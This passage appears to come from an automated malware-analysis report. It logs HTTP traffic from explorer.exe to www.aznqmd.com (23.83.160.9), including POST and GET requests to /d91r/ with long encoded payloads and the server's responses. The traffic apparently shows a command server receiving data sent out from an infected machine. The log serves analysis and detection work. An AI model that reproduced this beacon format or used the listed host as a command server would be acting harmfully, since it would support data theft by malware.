Mar 20, 2023 15:19:39.532476902 CET	536	OUT	Data Raw: 4f 7e 36 5a 4f 7e 6a 56 46 6a 75 31 6c 55 39 67 5f 45 55 53 52 39 51 74 33 52 6d 72 70 67 4c 35 58 4e 42 63 38 7a 42 6c 70 55 74 6c 32 4e 77 73 6c 63 56 59 62 5a 55 47 65 65 41 41 70 55 7a 7a 71 74 50 39 36 5a 57 47 52 54 59 55 31 4c 6f 37 50 30 Data Ascii: O~6ZO~jVFju1lU9g_EUSR9Qt3RmrpgL5XNBc8zBlpUtl2NwslcVYbZUGeeAApUzzqtP96ZWGRTYU1Lo7P0G6D8QT8x93WOuSfmWKIClKDsFH8pWY7dEQ0RKHNrLeZqVZ0RwZbF1(dybhUQjtxaYvJtpWIs3S5e7x2kUmCCjJMX0ucv7xUKJINYWrhCNOfthPQzaDUGb4G5M4Py6u4ooAqAxVt0u6VESANgH3t89VHy_L42RtE6V
Mar 20, 2023 15:19:39.664382935 CET	539	OUT	Data Raw: 65 4f 6e 41 75 44 63 64 4f 37 52 31 6e 61 76 4f 52 78 52 4e 65 57 76 4b 2d 55 35 55 73 70 4a 28 69 69 43 66 63 37 46 71 66 56 39 4e 30 42 7a 69 75 6c 62 68 35 6f 79 31 37 61 77 37 51 35 5a 49 50 78 62 4b 6e 54 6f 48 53 4b 52 46 39 68 44 74 47 28 Data Ascii: eOnAuDcdO7R1navORxRNeWvK-U5UspJ(iiCfc7FqfV9N0Bziulbh5oy17aw7Q5ZIPxbKnToHSKRF9hDtG(yNYkTpEQhFcPbEjT63U0V8yhfClczxIHGzsyE3I(mp3w6qksP8gACZHDGkX6sglEaGtQL7Q8aXHA2Ci~c6KIbwHsSs1ud0xPUQeyq2mKKYdH4hkwMlP(obZWZ2ig5lOK1EEKrwVI6i5y44DAM(PC_19CuvhzoIVs_
Mar 20, 2023 15:19:39.664592981 CET	552	OUT	Data Raw: 63 28 69 47 4b 36 38 51 44 73 50 45 6f 38 72 58 62 62 56 55 6c 58 48 51 68 41 68 43 50 78 65 43 57 6e 65 73 34 61 46 44 4f 47 6c 61 68 54 71 78 65 55 47 4d 6f 62 68 42 68 6a 69 61 35 35 46 47 32 56 5f 56 77 74 38 38 7a 6d 47 79 75 6b 64 41 4c 6d Data Ascii: c(iGK68QDsPEo8rXbbVUlXHQhAhCPxeCWnes4aFDOGlahTqxeUGMobhBhjia55FG2V_Vwt88zmGyukdALmifSuQzxkYPAgR4p(n0GyD9XaHntT-pao830HolEa2jsNKybOd6iQlR12FGkkTKSuTIwcfIGloyUDBQgUxCX8s7S6H0k2qysDm26AAJ90FRqIIEMvs~tCSS6syu977n_syhm2nVIeLb6zdsgj7hQ2DIy1SL02N5QAS
Mar 20, 2023 15:19:39.664729118 CET	559	OUT	Data Raw: 76 57 47 28 77 59 71 47 66 32 73 58 47 6c 42 58 43 61 73 72 7a 34 37 31 32 65 6c 58 4c 42 52 6b 79 67 63 58 5f 62 56 73 54 32 69 4d 64 7e 66 32 4c 74 34 7e 66 41 63 28 55 77 5a 64 49 30 5f 73 6f 68 67 4a 6f 58 55 43 2d 46 45 7a 54 38 41 50 4c 6b Data Ascii: vWG(wYqGf2sXGlBXCasrz4712elXLBRkygcX_bVsT2iMd~f2Lt4~fAc(UwZdI0_sohgJoXUC-FEzT8APLkfG1lstLbR7nA2TfcZWjzAwG8xl57RAJPOgee9ghWFu3wSBNAB8NFP540ss9PM2Q5GNC8Y5h1ANrsAVMukFtL7Ba4vKzZ9uBL7Q2q4AdpOjc~_zzSEH-aIOQ46WMkuPd(At4AGi4lS97va(7KV97XxUQGGInm6zK7L
Mar 20, 2023 15:19:39.664916992 CET	562	OUT	Data Raw: 2d 38 61 4f 57 35 57 37 6e 28 79 63 34 41 47 54 53 51 73 6d 48 58 58 51 78 51 4b 4c 62 73 56 54 44 51 6c 46 65 53 45 59 6c 58 34 37 79 55 76 4c 6f 47 69 7a 2d 37 64 56 35 51 59 70 6c 52 49 50 62 51 75 71 54 31 76 6f 4e 7a 69 74 36 49 71 47 5a 46 Data Ascii: -8aOW5W7n(yc4AGTSQsmHXXQxQKLbsVTDQlFeSEYlX47yUvLoGiz-7dV5QYplRIPbQuqT1voNzit6IqGZFeSiYFCpeFHrgr4abqj-g_JvuzmwZ1XdRSfdscfS~74T1RRr(sjubDoqx2wOcEQHxIKS8d3XGICJKF6pSsZLT9XlubehZN~-rKUx~3X800gt4ZsNDrhR5IVC0ncBxrPGeg9tbbKotIZhHrYJmmXTNc7j9acuyYXi8C
Mar 20, 2023 15:19:39.665534019 CET	562	IN	HTTP/1.1 413 Request Entity Too Large server: openresty/1.13.6.1 date: Mon, 20 Mar 2023 14:19:39 GMT content-type: text/html content-length: 205 connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 31 33 20 52 65 71 75 65 73 74 20 45 6e 74 69 74 79 20 54 6f 6f 20 4c 61 72 67 65 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 31 33 20 52 65 71 75 65 73 74 20 45 6e 74 69 74 79 20 54 6f 6f 20 4c 61 72 67 65 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 33 2e 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>413 Request Entity Too Large</title></head><body bgcolor="white"><center><h1>413 Request Entity Too Large</h1></center><hr><center>openresty/1.13.6.1</center></body></html>
Mar 20, 2023 15:19:39.796412945 CET	565	OUT	Data Raw: 38 73 71 59 35 52 32 31 36 4f 46 73 6d 4d 48 30 39 63 65 61 6a 69 66 41 67 28 68 4d 2d 4d 31 52 6d 32 31 39 4f 41 49 54 71 49 2d 6a 48 58 57 54 64 66 4d 30 31 41 72 47 42 54 61 59 5f 31 39 51 48 7e 78 70 52 4c 54 58 30 6f 66 30 4c 35 5f 70 32 57 Data Ascii: 8sqY5R216OFsmMH09ceajifAg(hM-M1Rm219OAITqI-jHXWTdfM01ArGBTaY_19QH~xpRLTX0of0L5_p2WxVAaMajq-yxbBPJ1rj49F98Z9oQt4RLtDeS3MMbckWL0eSiam8S2hWwto8HM7NBg_0pcoe91T2fD8GrlUG5HUGA4BfO8i0_UeyCLCINLmMzNSZkZnnuasdQiZUZHbG_t5e1FkkLuRi8ppp5cTda(WphJcph(3MJTH
Mar 20, 2023 15:19:39.796621084 CET	575	OUT	Data Raw: 61 43 31 57 35 4a 37 30 55 6f 30 31 56 6e 5a 54 52 31 5f 6d 4b 7a 44 33 4a 51 74 51 4c 37 30 78 53 4d 36 49 71 73 41 76 33 6b 72 75 6a 44 57 71 79 74 58 67 61 52 65 6f 32 28 52 79 4e 53 5f 45 62 6f 6b 31 4c 6d 71 34 78 47 51 44 65 46 43 50 42 4d Data Ascii: aC1W5J70Uo01VnZTR1_mKzD3JQtQL70xSM6IqsAv3krujDWqytXgaReo2(RyNS_Ebok1Lmq4xGQDeFCPBMJcoWP0sklgpgso74s28XNLLDIg0By~sBK5tN4sNhk1o~6vK80Dwf6zM0rtGbnop(Blg001W4mmmWImYPS607tlZMwN3s0XyCGZGaov8jSNt4pYi27trHlgOWB(MfJ5uGhBsDvegTq~rHznZHJ6IuysG3sWnkjNR2a
Mar 20, 2023 15:19:39.797096968 CET	576	OUT	Data Raw: 54 7a 4f 46 48 33 37 47 7a 28 58 61 77 47 64 6f 68 59 61 36 4c 7e 51 74 6a 41 74 65 4b 5a 55 55 57 4c 41 62 4b 65 33 51 49 50 7a 59 79 6d 69 64 66 36 4b 68 33 71 48 56 44 64 45 63 72 42 35 7a 6e 72 53 66 49 34 4b 6f 4c 49 42 4e 57 47 39 37 79 79 Data Ascii: TzOFH37Gz(XawGdohYa6L~QtjAteKZUUWLAbKe3QIPzYymidf6Kh3qHVDdEcrB5znrSfI4KoLIBNWG97yy8olgGl4mbkyEFAEkZw2fVm2bK5rOCrwze6tbelTc2DbKZdHtA96Ryf3NYvKjvJwBfqPocfFxQM588M1zympxDUWneVZmgmEenZvNmGynXr34bCtBULEXprb1-dUO8oxaBY_R8ukfw2CmfSC1bhCrG7N91IKgeWmZ9

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.11.20	49891	23.83.160.9	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:21:55.719476938 CET	1115	OUT	POST /d91r/ HTTP/1.1 Host: www.aznqmd.com Connection: close Content-Length: 51812 Cache-Control: no-cache Origin: http://www.aznqmd.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.aznqmd.com/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 43 4f 50 48 76 33 71 57 49 4e 57 4c 5a 74 56 42 51 41 33 67 6b 71 63 64 4f 72 71 4a 53 4f 4c 69 50 57 38 55 7e 4b 55 65 52 6d 67 64 37 7a 58 39 48 66 6a 6b 46 57 47 77 46 54 5a 38 59 35 31 78 32 33 54 44 78 63 36 49 4e 64 54 71 47 71 49 44 34 4c 6e 6b 74 44 53 52 33 78 58 70 77 49 72 4d 42 79 36 5f 72 55 6c 71 33 50 46 48 52 54 54 76 5a 51 36 6b 51 6c 54 36 48 56 34 68 66 4f 59 6c 39 6c 72 79 70 39 52 6a 4d 4c 49 55 41 72 73 48 42 42 72 74 30 53 48 36 43 4d 57 50 53 30 4c 42 49 34 70 72 31 30 66 79 74 65 4a 50 43 71 66 42 49 6b 6c 37 38 64 72 6a 4e 56 33 58 49 78 50 76 52 57 7a 4a 64 41 45 52 79 48 69 69 7e 59 6c 69 58 48 6b 64 67 6b 5a 6a 38 6b 28 4d 6a 69 43 55 6a 6f 30 58 4a 66 78 54 42 6c 73 49 6d 39 46 6f 38 70 4f 62 62 75 63 31 45 34 76 76 35 7a 79 43 76 79 39 32 58 6e 37 5a 57 78 67 48 6d 75 44 79 4c 4e 55 53 61 58 6d 43 76 73 57 76 71 77 43 33 73 41 4b 61 39 4f 32 75 33 32 37 5a 49 4c 4c 56 65 36 39 69 38 32 61 53 34 72 62 6a 28 4a 41 4e 42 6f 52 78 30 73 4d 53 63 39 6b 77 71 7a 64 4d 28 75 31 50 7a 5f 7e 66 28 7a 57 48 52 61 46 6c 4a 4c 59 71 4a 50 79 46 64 75 66 6a 62 64 52 78 28 72 55 66 4d 73 46 45 7a 61 63 55 58 38 70 31 4b 43 5a 79 6f 32 7a 79 54 53 48 67 73 65 32 54 71 42 6f 5f 78 44 39 35 46 4e 59 36 32 51 51 61 55 53 4f 51 6a 32 59 71 62 31 4e 4e 4d 75 7e 55 57 31 31 58 39 6c 71 6e 56 78 44 50 48 53 62 54 6f 37 35 74 4d 55 58 45 59 52 56 34 4f 49 38 4a 54 61 59 4f 39 59 38 4d 75 4f 45 46 28 38 75 5a 50 50 7e 56 44 5f 42 52 47 49 45 2d 50 4f 76 77 48 43 6e 39 76 74 67 77 4b 64 33 43 44 35 28 64 63 43 73 4d 54 4a 41 50 73 54 43 73 37 49 6e 43 64 6b 6f 5f 6c 53 4c 44 4b 31 72 5a 6f 4f 6d 6e 71 4e 28 33 4c 45 52 35 59 74 61 4d 77 64 28 76 4f 4f 42 6a 48 6f 4b 57 51 38 4a 37 32 71 46 64 4e 67 54 4f 33 38 62 46 37 6d 6f 43 42 52 5a 6b 64 71 67 36 6c 4e 72 59 75 65 47 30 66 79 4e 34 4a 71 51 2d 51 7a 58 77 6f 54 75 7a 34 44 6d 72 50 72 6f 54 6a 4f 54 55 45 4f 73 32 46 56 42 67 50 47 41 6c 39 50 4f 6b 54 54 79 34 4e 56 4b 72 58 38 4b 79 69 74 6d 64 58 4d 42 5f 53 41 36 7a 75 58 69 66 54 2d 77 4d 44 46 6a 55 35 39 4e 77 28 6c 66 70 67 6a 55 31 28 32 4c 79 78 52 57 43 54 45 6f 35 34 4c 4c 79 55 71 58 73 4f 6c 50 65 66 37 44 69 47 69 70 73 4b 52 72 54 43 32 33 57 44 6b 5a 69 63 74 69 72 6b 2d 57 41 6c 56 39 4d 6c 4b 51 62 49 34 4d 5f 50 57 4e 57 52 54 34 33 28 48 76 68 62 49 52 5a 50 34 4a 78 6a 66 42 57 32 63 4f 30 43 72 61 37 65 57 73 6d 61 68 6e 4e 71 34 77 55 4f 4a 50 5f 64 30 5a 6a 6b 34 67 58 46 75 6b 72 63 32 6d 64 62 6c 36 65 37 6f 45 61 58 7a 49 52 74 50 67 6e 61 38 70 69 53 31 32 73 72 6a 55 43 30 54 31 73 63 50 71 4d 69 6a 78 36 7a 36 4a 4b 45 4f 74 6f 32 61 39 39 71 47 79 48 52 51 55 72 6e 58 6f 79 45 4c 75 53 5a 77 6f Data Ascii: pO=COPHv3qWINWLZtVBQA3gkqcdOrqJSOLiPW8U~KUeRmgd7zX9HfjkFWGwFTZ8Y51x23TDxc6INdTqGqID4LnktDSR3xXpwIrMBy6_rUlq3PFHRTTvZQ6kQlT6HV4hfOYl9lryp9RjMLIUArsHBBrt0SH6CMWPS0LBI4pr10fyteJPCqfBIkl78drjNV3XIxPvRWzJdAERyHii~YliXHkdgkZj8k(MjiCUjo0XJfxTBlsIm9Fo8pObbuc1E4vv5zyCvy92Xn7ZWxgHmuDyLNUSaXmCvsWvqwC3sAKa9O2u327ZILLVe69i82aS4rbj(JANBoRx0sMSc9kwqzdM(u1Pz_~f(zWHRaFlJLYqJPyFdufjbdRx(rUfMsFEzacUX8p1KCZyo2zyTSHgse2TqBo_xD95FNY62QQaUSOQj2Yqb1NNMu~UW11X9lqnVxDPHSbTo75tMUXEYRV4OI8JTaYO9Y8MuOEF(8uZPP~VD_BRGIE-POvwHCn9vtgwKd3CD5(dcCsMTJAPsTCs7InCdko_lSLDK1rZoOmnqN(3LER5YtaMwd(vOOBjHoKWQ8J72qFdNgTO38bF7moCBRZkdqg6lNrYueG0fyN4JqQ-QzXwoTuz4DmrProTjOTUEOs2FVBgPGAl9POkTTy4NVKrX8KyitmdXMB_SA6zuXifT-wMDFjU59Nw(lfpgjU1(2LyxRWCTEo54LLyUqXsOlPef7DiGipsKRrTC23WDkZictirk-WAlV9MlKQbI4M_PWNWRT43(HvhbIRZP4JxjfBW2cO0Cra7eWsmahnNq4wUOJP_d0Zjk4gXFukrc2mdbl6e7oEaXzIRtPgna8piS12srjUC0T1scPqMijx6z6JKEOto2a99qGyHRQUrnXoyELuSZwo
Mar 20, 2023 15:21:55.719536066 CET	1120	OUT	Data Raw: 66 74 72 37 54 59 68 41 61 4b 42 36 4f 4a 52 73 52 56 76 61 34 42 42 44 77 73 49 79 79 6e 6e 61 4b 79 57 79 71 61 6a 6b 76 39 4e 44 76 4c 48 31 35 69 36 6b 49 31 79 47 55 67 31 75 62 38 6f 6a 4a 6f 58 56 61 72 51 42 5a 67 6a 4c 4b 28 6b 50 68 52 Data Ascii: ftr7TYhAaKB6OJRsRVva4BBDwsIyynnaKyWyqajkv9NDvLH15i6kI1yGUg1ub8ojJoXVarQBZgjLK(kPhRDCVl5WxcYr3I0zXv29IgOjV630NvKpKBoCygf6mfgEovNsji1(8CvGkjo8kCY(NfCKsf3QfZNfl(bQVxYyr8TyJgxs57fPPbOB85hKT21(Pg5gS0eRf7GC2ujEd8iV-f8yLfH1UYwttnZ9kP13lYaud~lIz9aU_qF
Mar 20, 2023 15:21:55.719592094 CET	1121	OUT	Data Raw: 50 32 75 33 51 39 73 55 4e 4b 72 57 4e 6f 35 6b 65 54 42 39 65 73 6d 64 65 42 70 64 4c 4f 30 36 6a 79 64 73 6e 69 42 63 65 37 62 38 6e 50 4e 77 6d 57 6e 70 56 30 4a 4e 73 66 57 51 2d 63 5f 75 71 4c 55 7e 45 6b 32 35 68 31 6b 51 4f 7a 57 31 37 58 Data Ascii: P2u3Q9sUNKrWNo5keTB9esmdeBpdLO06jydsniBce7b8nPNwmWnpV0JNsfWQ-c_uqLU~Ek25h1kQOzW17XrYbIUlct3lUrIX80A~xsgudDOdezJkreunEhEKmnHZGO3ILJKtMAyCtwezk3mmop5wOrvIW6D7QD3Rxo2hMzZwvWD37CQ6VNwBpCCFYARwwS8Tjvz~J3iLGx5OOPGrUNvrZJ5yjnsyE(AHeRRzq7_(OSsAkDtqzEp
Mar 20, 2023 15:21:55.880021095 CET	1122	OUT	Data Raw: 7a 52 38 42 6f 5a 6d 31 79 58 55 58 32 31 72 39 39 54 70 4c 30 71 47 53 62 51 77 54 4e 4b 30 75 71 73 33 61 48 4f 6f 75 4f 57 52 65 47 49 30 33 76 49 63 69 52 4f 5f 4b 52 4f 43 51 6e 6e 37 79 65 73 53 4e 6c 34 34 37 71 76 51 73 57 6e 77 6a 2d 46 Data Ascii: zR8BoZm1yXUX21r99TpL0qGSbQwTNK0uqs3aHOouOWReGI03vIciRO_KROCQnn7yesSNl447qvQsWnwj-FMJiJH600lgkw6THCtf4CU48KeytD5Bqr93TtxxB(8yKR8W9fBm-OJEbKvy5npprcP6hlIT1HrUWXrmrhM49ELsvnKvqeVabWOP3x3tEi8DRKAJQwlFikdwGXZhfpMjx9vW71eFP(JdLi4s9qXc68cRHhohwfomFar
Mar 20, 2023 15:21:55.880129099 CET	1134	OUT	Data Raw: 30 45 72 75 57 66 72 36 31 6e 32 6e 70 55 67 7a 74 51 47 38 65 74 47 74 73 50 4b 4f 61 6b 74 41 4b 62 30 69 41 71 68 39 68 51 6e 6a 79 68 4b 51 35 66 66 4f 56 34 39 32 30 46 6c 55 4d 31 72 36 32 66 47 28 73 68 70 34 71 38 6e 70 36 7a 64 42 6a 72 Data Ascii: 0EruWfr61n2npUgztQG8etGtsPKOaktAKb0iAqh9hQnjyhKQ5ffOV4920FlUM1r62fG(shp4q8np6zdBjr-1F90uc7nuLVsWJDTACkQ7YTSWaWsIzHNcCfb5HH5soTNcQ~eLkRcUn(wuaHXWwyxfLc8q0MScQXfP2KRIeGg2JcnWvk6~13hDO0J5Te4aL(Sk-w0QDa5kN5CRVgCaOVmWmZ25MAD26EMCJclDS~xBnv2AJqsHnAz
Mar 20, 2023 15:21:55.880234003 CET	1141	OUT	Data Raw: 66 70 54 55 76 4c 38 45 31 46 69 54 4a 48 6a 65 70 4a 74 38 54 4d 62 78 5a 4a 38 4b 6c 31 71 4e 59 38 30 4e 6a 6b 56 4c 4d 62 6f 69 6d 73 36 42 4b 4b 42 6d 75 69 75 4c 31 68 59 58 37 4c 6a 49 56 4d 6d 4f 77 31 38 56 47 53 4f 39 66 47 2d 72 2d 6f Data Ascii: fpTUvL8E1FiTJHjepJt8TMbxZJ8Kl1qNY80NjkVLMboims6BKKBmuiuL1hYX7LjIVMmOw18VGSO9fG-r-ofgdTY(i~Ma_bVOyyXarE4(ev4iDkbm3AYU_Q9Oi0MA9l54uPwr2dulE6jzb~oDilEF_QQBKOk8HQkJFNlga4021Vukv~3A-StGxeN(bd87ZnEKZzInw9YkwvWzP05RnH-MXiZ2KjAGnyjc_QjL1YuhE9vmQzbFN7j
Mar 20, 2023 15:21:56.040465117 CET	1143	OUT	Data Raw: 68 4a 6b 6d 41 79 54 67 56 34 42 62 36 39 67 6e 66 68 34 62 6c 48 65 51 38 50 54 66 7a 71 30 4d 52 42 55 72 44 33 68 38 52 72 71 47 32 4c 4c 72 57 28 47 4d 54 6e 71 6d 42 37 4e 6c 45 65 47 59 6a 54 74 39 76 33 59 42 47 7a 73 51 47 4b 61 72 36 35 Data Ascii: hJkmAyTgV4Bb69gnfh4blHeQ8PTfzq0MRBUrD3h8RrqG2LLrW(GMTnqmB7NlEeGYjTt9v3YBGzsQGKar654~i(hyD2H4-bKB_EvSFWG07MTp40EejDFbWLoNtm4S61kKgJmL1edP62kTgFt7GB0NYa8FBnJ43VKT7FDyDA3Rv1he-GyV7zV1-iP~g0z~J3ZjcXN4U3Wfa0ivVPtO_qcmzNUCwEjiU6JA5a5LZ4bvJn8XsHnFG0x
Mar 20, 2023 15:21:56.040564060 CET	1147	OUT	Data Raw: 63 41 43 59 44 6c 2d 58 61 73 6d 4f 75 76 66 4d 4c 55 4d 44 7a 56 4e 77 58 72 57 48 6e 67 4f 30 66 65 44 30 67 69 31 48 6f 5a 41 76 6c 36 57 75 43 4f 6a 75 70 56 55 38 33 4f 2d 4d 32 45 56 42 72 32 6f 4d 4d 76 67 30 64 45 44 6d 56 42 6e 53 6f 4c Data Ascii: cACYDl-XasmOuvfMLUMDzVNwXrWHngO0feD0gi1HoZAvl6WuCOjupVU83O-M2EVBr2oMMvg0dEDmVBnSoLQ1sJDnswOTxfbfnrumsgneAa7QzYkUa(E2_s7me2DhSd3qTru7eaQ4YaNtxWc8Dqrxfo_Mil3ZwqUyIxrs5k1rnLcVDMSGfoETTWbuOb6BaDbsAVAJfuiUvcpq1LwVuD4n5Ox(DBDdnIYJV5smYQtgYpcEp81PDQ9
Mar 20, 2023 15:21:56.040823936 CET	1159	OUT	Data Raw: 4a 7e 4f 62 53 41 36 54 5a 72 4e 5a 56 4f 7a 58 64 35 67 49 38 41 68 74 70 69 32 75 39 35 34 37 61 6f 32 77 61 33 53 75 59 72 35 48 5f 62 32 78 73 47 4f 38 45 58 2d 7a 76 42 72 63 74 71 42 69 2d 76 63 56 53 33 62 56 75 72 32 57 5f 6e 79 78 54 6f Data Ascii: J~ObSA6TZrNZVOzXd5gI8Ahtpi2u9547ao2wa3SuYr5H_b2xsGO8EX-zvBrctqBi-vcVS3bVur2W_nyxTo5n16Gp1Jldub7IMDgAXFDX9myelTmmNo-MnMKnbLSj-9dggkD~6F6hXJ6qHpAbyR61DSpx6WfAu1H9ERgHTzyV6cLS9dvXQDM~kB6AAlop-cflLeLMLBVS6g-rY72htFJKNv6gwRz0l3cM8ec(no_BtCoLMWNFqAz
Mar 20, 2023 15:21:56.040992022 CET	1164	OUT	Data Raw: 49 59 73 37 42 79 6b 6f 53 42 34 69 56 75 55 49 42 50 42 78 5f 4c 64 5a 33 67 4c 52 70 41 46 47 64 5a 50 41 30 44 61 6a 4e 4b 57 7e 46 51 50 52 55 77 74 35 63 46 5f 30 75 39 52 52 6e 78 54 79 59 52 39 59 65 61 31 45 7a 47 53 6b 7a 44 73 33 71 6e Data Ascii: IYs7BykoSB4iVuUIBPBx_LdZ3gLRpAFGdZPA0DajNKW~FQPRUwt5cF_0u9RRnxTyYR9Yea1EzGSkzDs3qnT~n4GdY6hnvtvel(du_zcxICt6DzPbixpvHgHI0SHqOkB48OJEFfDT3(lQr6Hrqz5EiwQsDBdBZEsldvwO4NNc6QkCjwNucphC4h3lOQlld4uzAEMcZ1H53BLEz2VkqAaa1T0V2esCX6HFFWSEB4csOnf0tVOnWg2
Mar 20, 2023 15:21:56.041116953 CET	1165	OUT	Data Raw: 31 37 70 37 42 32 4a 52 6d 4b 53 72 51 76 47 31 38 71 4b 54 49 59 55 72 75 30 63 4c 33 61 39 41 73 6f 72 66 65 71 68 41 4d 44 4d 46 61 61 39 6a 50 4a 38 4c 44 6a 6e 71 4c 52 6b 47 43 32 38 35 63 28 66 63 39 4d 65 39 43 68 31 6d 52 67 57 46 75 59 Data Ascii: 17p7B2JRmKSrQvG18qKTIYUru0cL3a9AsorfeqhAMDMFaa9jPJ8LDjnqLRkGC285c(fc9Me9Ch1mRgWFuYAf5TeXyOXSM4fz5p7x1Ds1mPJ0xqtf2IsaFoa1OygXEhUnTCZyjmLDNE26Fx8PXT4OTVRm5YAmqcegaBh4_bitHf62Lcc4on4qADQx8U9It4PbSLyV9bSsAdinxbQ5KFYwYoOKKRBdktReVIywiIWS1809Do0SiqX

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.11.20	49892	23.83.160.9	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:21:58.400845051 CET	1166	OUT	GET /d91r/?pO=PMnnsBn+KIOLN/VfOifa/NU1HKCRW97HYgMDorQQf0wo2T3aBqzEKnmyN0lZa7FB9krY/amKEMrac7kP3KvtrQL60DCopbH9IA==&8H7gL=Bxcfm_qbbEGm HTTP/1.1 Host: www.aznqmd.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Mar 20, 2023 15:21:58.576375008 CET	1168	IN	HTTP/1.1 200 OK Date: Mon, 20 Mar 2023 14:21:57 GMT Content-Length: 1856 Content-Type: text/html Server: Microsoft-IIS/7.5 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 20 2f 3e 0d 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0d 0a 3c 74 69 74 6c 65 3e b0 a2 c0 ef d4 c6 2d b1 b8 b0 b8 2d d7 e8 b6 cf d2 b3 2d 50 43 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 21 2d 2d b0 a2 c0 ef d4 c6 b1 b8 b0 b8 cf b5 cd b3 2d 2d 3e 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0d 0a 20 20 20 20 76 61 72 20 62 70 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 0d 0a 20 20 20 20 76 61 72 20 63 75 72 50 72 6f 74 6f 63 6f 6c 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6c 2e 73 70 6c 69 74 28 27 3a 27 29 5b 30 5d 3b 0d 0a 20 20 20 20 69 66 20 28 63 75 72 50 72 6f 74 6f 63 6f 6c 20 3d 3d 3d 20 27 68 74 74 70 73 27 29 7b 0d 0a 20 20 20 62 70 2e 73 72 63 20 3d 20 27 68 74 74 70 73 3a 2f 2f 7a 7a 2e 62 64 73 74 61 74 69 63 2e 63 6f 6d 2f 6c 69 6e 6b 73 75 62 6d 69 74 2f 70 75 73 68 2e 6a 73 27 3b 0d 0a 20 20 7d 0d 0a 20 20 65 6c 73 65 7b 0d 0a 20 20 62 70 2e 73 72 63 20 3d 20 27 68 74 74 70 3a 2f 2f 70 75 73 68 2e 7a 68 61 6e 7a 68 61 6e 67 2e 62 61 69 64 75 2e 63 6f 6d 2f 70 75 73 68 2e 6a 73 27 3b 0d 0a 20 20 7d 0d 0a 20 20 20 20 76 61 72 20 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 5b 30 5d 3b 0d 0a 20 20 20 20 73 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 62 70 2c 20 73 29 3b 0d 0a 7d 29 28 29 3b 0d 0a 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 76 61 72 20 5f 68 6d 74 20 3d 20 5f 68 6d 74 20 7c 7c 20 5b 5d 3b 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 76 61 72 20 68 6d 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 0d 0a 20 20 68 6d 2e 73 72 63 20 3d 20 22 68 74 74 70 73 3a 2f 2f 68 6d 2e 62 61 69 64 75 2e 63 6f 6d 2f 68 6d 2e 6a 73 3f 63 35 66 38 34 38 61 32 34 31 39 38 36 63 38 32 37 61 36 61 65 61 36 37 62 31 35 31 64 66 35 37 22 3b 0d 0a 20 20 76 61 72 20 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 5b 30 5d 3b 20 0d 0a 20 20 73 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 68 6d 2c 20 73 29 3b 0d 0a 7d 29 28 29 3b 0d 0a 3c 2f 73 